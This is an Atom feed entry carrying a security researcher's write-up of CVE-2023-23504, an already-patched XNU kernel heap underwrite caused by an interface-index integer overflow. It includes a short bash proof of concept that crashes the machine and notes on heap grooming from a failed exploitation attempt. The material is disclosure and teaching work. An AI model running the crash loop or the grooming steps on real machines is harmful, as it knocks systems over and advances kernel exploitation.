<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title><![CDATA[Adam Doupé]]></title>
  <link href="http://adamdoupe.com/atom.xml" rel="self"/>
  <link href="http://adamdoupe.com/"/>
  <updated>2026-03-05T00:30:34+00:00</updated>
  <id>http://adamdoupe.com/</id>
  <author>
    <name><![CDATA[Adam Doupé]]></name>
    
  </author>
  <generator uri="http://octopress.org/">Octopress</generator>

  
  <entry>
    <title type="html"><![CDATA[CVE-2023-23504: XNU Heap Underwrite in dlil.c]]></title>
    <link href="http://adamdoupe.com/blog/2023/01/23/cve-2023-23504-xnu-heap-underwrite-in-dlil-dot-c/"/>
    <updated>2023-01-23T14:47:00-05:00</updated>
    <id>http://adamdoupe.com/blog/2023/01/23/cve-2023-23504-xnu-heap-underwrite-in-dlil-dot-c</id>
    <content type="html"><![CDATA[<p>This post describes the second vulnerability that I found in the <a href="https://en.wikipedia.org/wiki/XNU">XNU kernel</a>, (<a href="https://adamdoupe.com/blog/2022/12/13/cve-2022-42845-xnu-use-after-free-vulnerability-in-ndrv-dot-c/">first of which is here</a>).
XNU is the Operating System used for a number of Apple products, including Macs, iPhones, iPads, Apple Watches, Apple TVs, and so on.</p>

<p>The vulnerability is a 19-year-old heap underwrite vulnerability in XNU&rsquo;s <code>dlil.c</code> (which handles network interfaces) caused by an (<code>uint16_t</code>) integer overflow in <code>if.c</code>.
This can be triggered by a root user creating 65536 total network interfaces.</p>

<h2>Root Cause</h2>

<p>When an interface is created in <code>ifnet_attach</code>:<code>dlil.c</code>, <code>if_next_index</code>:<code>if.c</code> is called to create a <code>if_index</code> on the <code>ifnet_t ifp</code>:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'>    <span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="n">if_next_index</span><span class="p">();</span>
</span><span class='line'>
</span><span class='line'>    <span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="n">ifp</span><span class="o">-&gt;</span><span class="n">if_index</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span><span class='line'>        <span class="n">ifnet_lock_done</span><span class="p">(</span><span class="n">ifp</span><span class="p">);</span>
</span><span class='line'>        <span class="n">ifnet_head_done</span><span class="p">();</span>
</span><span class='line'>        <span class="n">dlil_if_unlock</span><span class="p">();</span>
</span><span class='line'>        <span class="k">return</span> <span class="n">ENOBUFS</span><span class="p">;</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="n">ifp</span><span class="o">-&gt;</span><span class="n">if_index</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint16_t</span><span class="p">)</span><span class="n">idx</span><span class="p">;</span> <span class="c1">// Vulnerability</span>
</span></code></pre></td></tr></table></div></figure>


<p>This index is cast to a <code>uint16_t</code>.</p>

<p><code>if_next_index</code> creates one chunk of memory that it splits into two:
<code>ifnet_addrs</code> and <code>ifindex2ifnet</code>, and the comments for <code>if_next_index</code> hint at the problem:</p>

<p>&ldquo;ifnet_addrs[] is indexed by (if_index - 1), whereas ifindex2ifnet[] is indexed by ifp->if_index.&rdquo;</p>

<p>This means that when 65536 network interfaces are created, the last
interface has a <code>ifp-&gt;if_index</code> of 0, and then <code>ifnet_attach</code> will
write the allocated <code>struct ifaddr *</code> <code>ifa</code> out of the bounds of
<code>ifnet_addrs</code>:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="n">VERIFY</span><span class="p">(</span><span class="n">ifnet_addrs</span><span class="p">[</span><span class="n">ifp</span><span class="o">-&gt;</span><span class="n">if_index</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">);</span>
</span><span class='line'><span class="n">ifnet_addrs</span><span class="p">[</span><span class="n">ifp</span><span class="o">-&gt;</span><span class="n">if_index</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">ifa</span><span class="p">;</span>
</span></code></pre></td></tr></table></div></figure>


<h2>My Proposed Fix</h2>

<p>One fix for the vulnerability would be to limit the amount of interfaces that can be created to 0xFFFF.
This could be done in <code>if_next_index</code>, and would not impact an interface with the same name (e.g. <code>feth0</code>) that is created and destroy repeatably (the only likely scenario for this would be a <code>utun</code> device, which is created when a root or privileged process creates a <code>PF_SYSTEM</code> <code>SYSPROTO_CONTROL</code> <code>socket</code>).</p>

<h2>The Real Fix</h2>

<p>The <a href="https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.81.2/bsd/net/if.c#L455">real fix</a> here is in <code>if_next_index</code>:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="cm">/*</span>
</span><span class='line'><span class="cm"> * Although we are returning an integer,</span>
</span><span class='line'><span class="cm"> * ifnet&#39;s if_index is a uint16_t which means</span>
</span><span class='line'><span class="cm"> * that&#39;s our upper bound.</span>
</span><span class='line'><span class="cm"> */</span>
</span><span class='line'><span class="k">if</span> <span class="p">(</span><span class="n">if_index</span> <span class="o">&gt;=</span> <span class="n">UINT16_MAX</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>  <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>It seems that we agree on the correct fix (although it&rsquo;s strange to keep the return value as an <code>int</code> if what you&rsquo;re returning cannot ever be that large).</p>

<h2>Affected Versions</h2>

<p>Verified on MacOS 13.0 M1 Mac mini running build 22A380.</p>

<p>Also tested on iOS.</p>

<p>From what I can tell, it seems the vulnerable code was introduced in
XNU 517.3.7, Mac OSX 10.3.2, released on December 17th, 2003, making it a 19-year-old bug!</p>

<h2>Exploitation Conditions</h2>

<p>Creating (and destroying) a network interface normally requires root permissions.</p>

<h2>POC</h2>

<p>This was a super interesting POC to create.</p>

<p>The simplest POC for this fits in a tweet (NOTE: this might crash your machine):</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">C</span><span class="o">=</span><span class="k">$(</span>sysctl -A <span class="p">|</span> grep ifcount <span class="p">|</span> cut -d<span class="s1">&#39;:&#39;</span> -f2 <span class="p">|</span> xargs<span class="k">)</span>
</span><span class='line'><span class="k">for</span> i in <span class="sb">`</span>seq 32767<span class="sb">`</span>
</span><span class='line'><span class="k">do</span>
</span><span class='line'>    sudo ifconfig <span class="s2">&quot;feth$i&quot;</span> create
</span><span class='line'>    sudo ifconfig <span class="s2">&quot;feth$i&quot;</span> destroy
</span><span class='line'><span class="k">done</span>
</span><span class='line'><span class="nv">T</span><span class="o">=</span><span class="k">$((</span><span class="m">65536</span> <span class="o">-</span> <span class="nv">$C</span> <span class="o">-</span> <span class="m">32767</span><span class="k">))</span>
</span><span class='line'><span class="k">for</span> i in <span class="sb">`</span>seq <span class="nv">$T</span><span class="sb">`</span>
</span><span class='line'><span class="k">do</span>
</span><span class='line'>    sudo ifconfig <span class="s2">&quot;vlan$i&quot;</span> create
</span><span class='line'>    sudo ifconfig <span class="s2">&quot;vlan$i&quot;</span> destroy
</span><span class='line'><span class="k">done</span>
</span></code></pre></td></tr></table></div></figure>


<p>Learning about the <code>destroy</code> after the <code>create</code> was hard-fought knowledge&mdash;for the first ~month of trying to POC this bug I only used <code>create</code>.
This triggers some exponential slowdown in the kernel, and so creating enough interfaces took several hours (in my VM it would take >12 hours to trigger).
Finally I realized that you could destroy the interface and this would fix the slowdown (I also had learn that the interface info was reused/cached, even if it was deleted, so you couldn&rsquo;t just create and destroy the same interface type over and over).</p>

<p>However, it&rsquo;s much faster to trigger the bug in C (by calling the correct <code>ioctl</code> to create and destroy the interfaces.</p>

<p>Here&rsquo;s <a href="https://github.com/adamdoupe/adamd-pocs/blob/main/CVE-2023-23504/CVE-2023-23504.c">the POC</a> that I wrote to trigger this bug, which creates enough interfaces to trigger the integer overflow and the heap underwrite.</p>

<p>If you&rsquo;re on MacOS 12.6 (last OS that I tested this on), then ~50% of the time your system will crash.
This is because there is no memory mapped before <code>ifnet_addrs</code>, and so the write goes to an unmapped page.</p>

<h2>Potential Physical Attack</h2>

<p>I think it might be possible to trigger this bug through the lightning cable on an iPhone or perhaps USB-C cable on a MacOS machine.</p>

<p>However, Apple (in a great move) <a href="https://support.apple.com/en-us/HT208857">now requires you to unlock your device and approve the connection from USB</a>.
So, this wouldn&rsquo;t be possible to do on a locked, pre-first-boot device, however it might be possible to create a malicious device that tricks the user into plugging in and allowing.</p>

<p>I did not pursue this approach (I really don&rsquo;t have hardware experience), however the idea would be to create a USB device that pretends to be ~65536 NICs.
One downside of this approach it that it takes on the order of hours to create all these interfaces (which is why the POC destroys the interface after it&rsquo;s created).</p>

<p>I did test that this idea could work by using an old iPhone 6s running iOS 12.1, with the checkra1n beta 0.12.4 jailbreak.</p>

<p>On first boot, I plugged in a lightning to ethernet adapter, and it actually created three new interfaces: <code>en3</code> (the ethernet device), <code>EHC1</code>, and <code>OHC2</code> (no idea what those are).</p>

<p>So this might be possible, and I would love to know if anyone&rsquo;s able to do this.</p>

<h2>My Failed Exploit Attempt</h2>

<p>While creating a POC in MacOS 12.5 I tried a ton to create a POC that could alter the <code>struct ifaddr * ifa</code> that was underwritten, by controlling something that was allocated before <code>ifnet_addrs</code> and then modifying that pointer.</p>

<p>The spoiler alert here is that I failed: I was very close (as I&rsquo;ll try to layout here) but was stuck on how to flip bits in the pointer without crashing or triggering an infinite loop.
Then, MacOS 12.6 dropped which changed the behavior of the kernel&rsquo;s memory allocator so the POC crashed 50% of the time.
I decided I spent enough of my life on this bug (about two months of dedicated effort) so I sent the basic POC to Apple and here we are.</p>

<p>I hope that maybe you can learn something from my failed approach.</p>

<p>Anyway, it seems like this should be easy, use the standard trick of spraying a bunch of Out-Of-Line Mach Messages, then trigger the underwrite, read the messages to see which one was overwritten, then use that to change/alter the pointer.</p>

<p>O, dear reader, it was not so easy.</p>

<p>The first thing to understand is that <code>ifnet_addrs</code> is <code>if_next_index</code> creates it from two chunks of memory, and this memory is doubled every time the limit is hit:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'>    <span class="k">if</span> <span class="p">(</span><span class="n">ifnet_addrs</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="n">new_if_indexlim</span> <span class="o">=</span> <span class="n">INITIAL_IF_INDEXLIM</span><span class="p">;</span>
</span><span class='line'>    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span><span class='line'>        <span class="n">new_if_indexlim</span> <span class="o">=</span> <span class="n">if_indexlim</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">;</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>
</span><span class='line'>    <span class="cm">/* allocate space for the larger arrays */</span>
</span><span class='line'>    <span class="n">n</span> <span class="o">=</span> <span class="p">(</span><span class="mi">2</span> <span class="o">*</span> <span class="n">new_if_indexlim</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span><span class='line'>    <span class="n">new_ifnet_addrs</span> <span class="o">=</span> <span class="p">(</span><span class="kt">caddr_t</span><span class="p">)</span><span class="n">kalloc_type</span><span class="p">(</span><span class="kt">caddr_t</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">Z_WAITOK</span> <span class="o">|</span> <span class="n">Z_ZERO</span><span class="p">);</span>
</span></code></pre></td></tr></table></div></figure>


<p>This means that <code>n</code> gets larger and larger, so we need to allocated <code>0x8000</code> interfaces first, and the next one will trigger the allocation of the final location of <code>ifnet_addrs</code>.</p>

<p>For allocations larger than <code>KHEAP_MAX_SIZE</code>, <code>kalloc_type</code> will call into <code>kalloc_large</code>.</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="cp">#if !defined(__LP64__)</span>
</span><span class='line'><span class="cp">#define KHEAP_MAX_SIZE          8 * 1024</span>
</span><span class='line'><span class="cp">#elif  __x86_64__</span>
</span><span class='line'><span class="cp">#define KHEAP_MAX_SIZE          16 * 1024</span>
</span><span class='line'><span class="cp">#else</span>
</span><span class='line'><span class="cp">#define KHEAP_MAX_SIZE          32 * 1024</span>
</span><span class='line'><span class="cp">#endif</span>
</span></code></pre></td></tr></table></div></figure>


<p>So, we should be able to allocate any object into <code>kalloc_large</code> if it&rsquo;s over say <code>0x8000</code> in size (this way it&rsquo;s applicable in all the platforms).</p>

<p>Oh if only things were that easy/simple.</p>

<p>Turns out that <code>kalloc_large</code> works by calling into <code>kernel_memory_allocate</code> to allocate a page of memory directly from the VM system.
Which means that this is essentially above the kernel heap allocation layer.</p>

<p><code>kernel_memory_allocate</code> eventually calls <code>vm_map_find_space</code>, which then calls <code>vm_map_locate_space</code>.</p>

<p><code>vm_map_get_range</code> then gets the range from a global variable called <code>kmem_ranges</code> based on flags that are passed all the way:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'>    <span class="kt">kmem_range_id_t</span> <span class="n">range_id</span> <span class="o">=</span> <span class="n">vmk_flags</span><span class="o">-&gt;</span><span class="n">vmkf_range_id</span><span class="p">;</span>
</span><span class='line'>    <span class="n">effective_range</span> <span class="o">=</span> <span class="n">kmem_ranges</span><span class="p">[</span><span class="n">range_id</span><span class="p">];</span>
</span></code></pre></td></tr></table></div></figure>


<p>However, there&rsquo;s also a check later in <code>vm_map_get_range</code> to see if the size is greater than <code>KMEM_SMALLMAP_THRESHOLD</code> (which is 1MB on 64-bit platforms):</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'>        <span class="k">if</span> <span class="p">(</span><span class="n">size</span> <span class="o">&gt;=</span> <span class="n">KMEM_SMALLMAP_THRESHOLD</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>            <span class="n">effective_range</span> <span class="o">=</span> <span class="n">kmem_large_ranges</span><span class="p">[</span><span class="n">range_id</span><span class="p">];</span>
</span><span class='line'>        <span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>These ranges are quite different, as shown from an lldb debug session that I had:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="p">(</span><span class="n">lldb</span><span class="p">)</span> <span class="n">print</span> <span class="n">kmem_large_ranges</span>
</span><span class='line'><span class="p">(</span><span class="n">kmem_range</span> <span class="p">[</span><span class="mi">4</span><span class="p">])</span> <span class="err">$</span><span class="mi">4</span> <span class="o">=</span> <span class="p">{</span>
</span><span class='line'>  <span class="p">[</span><span class="n">KMEM_RANGE_ID_NONE</span><span class="p">]</span>  <span class="o">=</span> <span class="p">(</span><span class="n">min_address</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span><span class="p">,</span> <span class="n">max_address</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
</span><span class='line'>  <span class="p">[</span><span class="n">KMEM_RANGE_ID_PTR_0</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">min_address</span> <span class="o">=</span> <span class="mh">0xfffffff35b14b000</span><span class="p">,</span> <span class="n">max_address</span> <span class="o">=</span> <span class="mh">0xfffffffee9aa1000</span><span class="p">)</span>
</span><span class='line'>  <span class="p">[</span><span class="n">KMEM_RANGE_ID_PTR_1</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">min_address</span> <span class="o">=</span> <span class="mh">0xffffffe625d7b000</span><span class="p">,</span> <span class="n">max_address</span> <span class="o">=</span> <span class="mh">0xfffffff1b46d1000</span><span class="p">)</span>
</span><span class='line'>  <span class="p">[</span><span class="n">KMEM_RANGE_ID_DATA</span><span class="p">]</span>  <span class="o">=</span> <span class="p">(</span><span class="n">min_address</span> <span class="o">=</span> <span class="mh">0xffffffa7100a6000</span><span class="p">,</span> <span class="n">max_address</span> <span class="o">=</span> <span class="mh">0xffffffd54a5fe000</span><span class="p">)</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="p">(</span><span class="n">lldb</span><span class="p">)</span> <span class="n">print</span> <span class="n">kmem_ranges</span>
</span><span class='line'><span class="p">(</span><span class="n">kmem_range</span> <span class="p">[</span><span class="mi">4</span><span class="p">])</span> <span class="err">$</span><span class="mi">1</span> <span class="o">=</span> <span class="p">{</span>
</span><span class='line'>  <span class="p">[</span><span class="n">KMEM_RANGE_ID_NONE</span><span class="p">]</span>  <span class="o">=</span> <span class="p">(</span><span class="n">min_address</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span><span class="p">,</span> <span class="n">max_address</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
</span><span class='line'>  <span class="p">[</span><span class="n">KMEM_RANGE_ID_PTR_0</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">min_address</span> <span class="o">=</span> <span class="mh">0xfffffff287c0e000</span><span class="p">,</span> <span class="n">max_address</span> <span class="o">=</span> <span class="mh">0xffffffffbcfde000</span><span class="p">)</span>
</span><span class='line'>  <span class="p">[</span><span class="n">KMEM_RANGE_ID_PTR_1</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">min_address</span> <span class="o">=</span> <span class="mh">0xffffffe55283e000</span><span class="p">,</span> <span class="n">max_address</span> <span class="o">=</span> <span class="mh">0xfffffff287c0e000</span><span class="p">)</span>
</span><span class='line'>  <span class="p">[</span><span class="n">KMEM_RANGE_ID_DATA</span><span class="p">]</span>  <span class="o">=</span> <span class="p">(</span><span class="n">min_address</span> <span class="o">=</span> <span class="mh">0xffffffa0756be000</span><span class="p">,</span> <span class="n">max_address</span> <span class="o">=</span> <span class="mh">0xffffffd54a5fe000</span><span class="p">)</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>So, this explains why we couldn&rsquo;t use OOL Mach messages (I tried them twice I think): due to some limit that I can&rsquo;t find right now we can&rsquo;t allocate an OOL Mach Message that&rsquo;s > 1MB.</p>

<p>To make matters worse, we need our victim allocation to end up in <code>KMEM_RANGE_ID_PTR_0</code> in <code>kmem_large_ranges</code> (which, empirically, is where <code>ifnet_addrs</code> ended up).</p>

<p>(I learned a lot about the importance of <em>keeping notes</em> while trying exploitation.
I didn&rsquo;t keep track of all of these limits, so I wasted lots of time trying different exploitation methods while eventually rediscovering them.)</p>

<p>I then did what any good hacker does: look at every single allocation site in the kernel (using IDA this time on a debug kernel) to see ones that were unbounded.</p>

<p>But now we need to define what our goal here is: We want this victim object allocation to be before the vulnerable object so that we can underwrite the vulnerable object and change the last 8 bytes of that object.</p>

<p>So, it needs:</p>

<ol>
<li>An allocation that we can control/trigger from userspace.</li>
<li>An allocation that persists (no thank you race conditions, not today).</li>
<li>An allocation that is greater than 1MB (the fun <code>KMEM_SMALLMAP_THRESHOLD</code>).</li>
<li>An allocation that falls into <code>KMEM_RANGE_ID_PTR_0</code>.</li>
<li>An allocation where the object size (i.e. the space that we can use) is a multiple of the page size: We need to be able to read or write to the last 8 bytes of the allocation.</li>
</ol>


<p>Note that I didn&rsquo;t start with this list, but only ended up here after following multiple dead ends and false starts.</p>

<p>Finally, I find something promising in <code>kern_descrip.c</code>&rsquo;s <code>fdalloc</code>:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'>    <span class="n">newofiles</span> <span class="o">=</span> <span class="n">kheap_alloc</span><span class="p">(</span><span class="n">KM_OFILETABL</span><span class="p">,</span> <span class="n">numfiles</span> <span class="o">*</span> <span class="n">OFILESIZE</span><span class="p">,</span>
</span><span class='line'>        <span class="n">Z_WAITOK</span><span class="p">);</span>
</span></code></pre></td></tr></table></div></figure>


<p>The SUPER weird thing here is that <code>OFILESIZE</code> is NINE (9) BYTES!
Why why why, such a weird allocation pattern!</p>

<p>And it starts out at a strange initial that&rsquo;s difficult to tell, so I created this table (note that it&rsquo;s allocation size not number of objects) to see when it would be page divisible (I like to do this in an org-mode table where I keep my notes):</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="o">|</span> <span class="n">Actual</span> <span class="n">Allocation</span> <span class="o">|</span> <span class="n">Actual</span> <span class="n">Allocation</span> <span class="o">|</span> <span class="n">page</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">)</span> <span class="n">divisible</span> <span class="o">|</span>
</span><span class='line'><span class="o">|-------------------+-------------------+------------------------|</span>
</span><span class='line'><span class="o">|</span>            <span class="mh">0x1518</span> <span class="o">|</span>              <span class="mi">5400</span> <span class="o">|</span>              <span class="mf">1.3183594</span> <span class="o">|</span>
</span><span class='line'><span class="o">|</span>            <span class="mh">0x2a30</span> <span class="o">|</span>             <span class="mi">10800</span> <span class="o">|</span>              <span class="mf">2.6367188</span> <span class="o">|</span>
</span><span class='line'><span class="o">|</span>            <span class="mh">0x5460</span> <span class="o">|</span>             <span class="mi">21600</span> <span class="o">|</span>              <span class="mf">5.2734375</span> <span class="o">|</span>
</span><span class='line'><span class="o">|</span>            <span class="mh">0xa8c0</span> <span class="o">|</span>             <span class="mi">43200</span> <span class="o">|</span>              <span class="mf">10.546875</span> <span class="o">|</span>
</span><span class='line'><span class="o">|</span>           <span class="mh">0x15180</span> <span class="o">|</span>             <span class="mi">86400</span> <span class="o">|</span>               <span class="mf">21.09375</span> <span class="o">|</span>
</span><span class='line'><span class="o">|</span>           <span class="mh">0x2A300</span> <span class="o">|</span>            <span class="mi">172800</span> <span class="o">|</span>                <span class="mf">42.1875</span> <span class="o">|</span>
</span><span class='line'><span class="o">|</span>           <span class="mh">0x54600</span> <span class="o">|</span>            <span class="mi">345600</span> <span class="o">|</span>                 <span class="mf">84.375</span> <span class="o">|</span>
</span><span class='line'><span class="o">|</span>           <span class="mh">0xA8C00</span> <span class="o">|</span>            <span class="mi">691200</span> <span class="o">|</span>                 <span class="mf">168.75</span> <span class="o">|</span>
</span><span class='line'><span class="o">|</span>          <span class="mh">0x151800</span> <span class="o">|</span>           <span class="mi">1382400</span> <span class="o">|</span>                  <span class="mf">337.5</span> <span class="o">|</span>
</span><span class='line'><span class="o">|</span>          <span class="mh">0x2A3000</span> <span class="o">|</span>           <span class="mi">2764800</span> <span class="o">|</span>                    <span class="mi">675</span> <span class="o">|</span>
</span><span class='line'><span class="o">|</span>          <span class="mh">0x546000</span> <span class="o">|</span>           <span class="mi">5529600</span> <span class="o">|</span>                   <span class="mi">1350</span> <span class="o">|</span>
</span><span class='line'><span class="o">|</span>          <span class="mh">0xA8C000</span> <span class="o">|</span>          <span class="mi">11059200</span> <span class="o">|</span>                   <span class="mi">2700</span> <span class="o">|</span>
</span></code></pre></td></tr></table></div></figure>


<p>So we need there to be 0x2A3000 / 9 = 0x4B000 <code>numfiles</code> here.
But what are those <code>numfiles</code> you ask?</p>

<p>Turns out that we&rsquo;re looking at the kernel&rsquo;s storage of a process' <code>fd</code>s!</p>

<p>Oh no, can we create 0x4B000 <code>fd</code>s in a process?</p>

<p>Yes, if we are root, there are two limits that control this and we can just bump them right up:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>sudo <span class="nb">ulimit</span> -n unlimited
</span><span class='line'>sudo sysctl -w kern.maxfilesperproc<span class="o">=</span>614400
</span></code></pre></td></tr></table></div></figure>


<p>The cool thing is that we can actually use <code>dup2</code> to specify a (large) wanted <code>fd</code> (second argument to <code>dup2</code>) and the kernel will allocate all this memory for us!</p>

<p>Through trial, error, and debugging (dtrace ftw) I found an allocation pattern of <code>fd</code>s that put things where we want:</p>

<ol>
<li><p>Allocate three smaller fd tables first (to fill up first rather than after) using an fd of 153599.</p></li>
<li><p>Allocate in a proc 0x2A3000 / 9 = 0x4B000 fds using dup2. This will be the victim proc table using an fd of 307199.</p></li>
<li><p>Allocate one smaller fd tables in other procs of 0x151800 / 9 =
0x25800. These are only needed as spacing to take up room (and as
much as needed) so that the target allocation will go after the
victim. This is needed because of the &ldquo;realloc&rdquo; behavior that goes
on when we allocate the victim.</p></li>
<li><p>Trigger underwrite.</p></li>
</ol>


<p>At this point, we can allocate a victim object in the correct region, we can allocate the vulnerable object after, then we can underwrite to write into it.</p>

<p>Success?</p>

<p>Oh no, now what do we control in this <code>newofiles</code> array?</p>

<p>Later on in <code>fdalloc</code> we find:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'>    <span class="n">newofileflags</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span> <span class="o">&amp;</span><span class="n">newofiles</span><span class="p">[</span><span class="n">numfiles</span><span class="p">];</span>
</span><span class='line'>    <span class="c1">// ...</span>
</span><span class='line'>    <span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="n">memcpy</span><span class="p">(</span><span class="n">newofiles</span><span class="p">,</span> <span class="n">fdp</span><span class="o">-&gt;</span><span class="n">fd_ofiles</span><span class="p">,</span>
</span><span class='line'>        <span class="n">oldnfiles</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">fdp</span><span class="o">-&gt;</span><span class="n">fd_ofiles</span><span class="p">));</span>
</span><span class='line'>    <span class="c1">// ...</span>
</span><span class='line'>    <span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="n">memcpy</span><span class="p">(</span><span class="n">newofileflags</span><span class="p">,</span> <span class="n">fdp</span><span class="o">-&gt;</span><span class="n">fd_ofileflags</span><span class="p">,</span>
</span><span class='line'>        <span class="n">oldnfiles</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">fdp</span><span class="o">-&gt;</span><span class="n">fd_ofileflags</span><span class="p">));</span>
</span></code></pre></td></tr></table></div></figure>


<p>So now we can see why the allocation size here is 9 bytes: 8 bytes for a pointer (what <code>fdp-&gt;fd_ofiles</code> consists of) and 1 bytes for <code>fdp-&gt;fd_ofileflags</code> which is the (single byte) flag for the file.</p>

